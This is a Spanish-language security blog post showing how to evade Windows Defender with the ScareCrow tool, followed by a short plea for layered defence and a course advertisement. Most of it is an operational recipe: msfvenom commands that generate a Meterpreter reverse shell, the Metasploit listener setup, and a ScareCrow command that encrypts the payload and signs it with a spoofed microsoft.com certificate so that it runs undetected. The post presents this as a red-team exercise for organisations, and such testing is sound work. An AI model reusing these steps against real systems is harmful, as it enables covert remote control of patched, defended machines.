martes, 29 de agosto de 2023

EDR o no EDR, esa es la cuestión: Bypass Defender con ScareCrow

 Estimados amigos de Inseguros !!!

Dentro de las fases que acometen los malos es el de saltarse las medidas defensivas. Y como tal, son ejercicios que debemos de hacer en nuestras organizaciones para saber como se compartan el resto de medida.

En esta ocasión vamos a lanzar una shell Meterpreter contra un Windows parcheado y con Defender y ver como no se entera. Lo vamos a hacer con la herramienta ScareCrow.

Esta herramienta es muy interesante porque firma el binario con la clave pública del dominio https que le digamos, parchear AMIS, ETW y hacer una seria de bypass EDR con la manera que tiene que cargar el código en memoria, para detectar lo que está hookeando el EDR y cargárselo. Si quieres bajar a cómo lo hace, hay dos post muy interesantes. Post 1 y Post 2 donde explica los hooks y las syscall que hace.



El proceso de instalación es muy sencillo.

Se clona el repositorio, se instalan dependencias

go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo
go get github.com/Binject/debug/pe
go get github.com/awgh/rawreader

Se comprueba que existen estos paquetes y sino, ya sabes...

openssl
osslsigncode
mingw-w64

Y se compila:

go build ScareCrow.go

Ahora vamos a generar nuestra shell, por ejemplo con meterpreter. Generamos una shell con msfvenemom y ponemos a escuchar.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.50 LPORT=12345 -f raw -o fud.bin 
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp 
msf6 exploit(multi/handler) > set lport 12345 
msf6 exploit(multi/handler) > set lhost 192.168.100.50 msf6 exploit(multi/handler) > run 

Ahora tomamos la shell y se la pasamos a la herramienta

./ScareCrow -I fud.bin -domain www.microsoft.com -encryptionmode AES 

Ejecutamos en un Windows con Defender y listo. Si te no va a la primera, prueba a compilar otro binario, a la segunda va.


Como puedes adivinar, confiar toda nuestra defensa en una sola línea de defensa es un error. 

Por ejemplo, en mi caso podría haber hecho varias cosas. Podríamos haber bloqueado la ip de origen del equipo que compartido el binario que me ha pillado la primera vez. Podría haber detectado tráfico http entre equipos de una lan que apriori no deberían. Hay muchas maneras de intentar monitorizar lo que pasa es nuestros entornos y así poder luchar contra ataques de este tipo.

Para ello, lo mejor es conocer nuestros sistemas en profundidad y para eso tienes el mejor curso de experto en Ciberseguridad Microsoft del momento. SI. Mejor que muchos "en inglés" muy famososos que te enseñan 4 cosas. 

Si estás trabajando, píde los créditos de formación que tienes disponibles y vamos a pasar 3 meses entretenidos aprendiendo muy mucho Ciberseguridad. 

Si necesitas más información, en la web puedes pedir una cita y charlamos.

Gracias por leerme !!!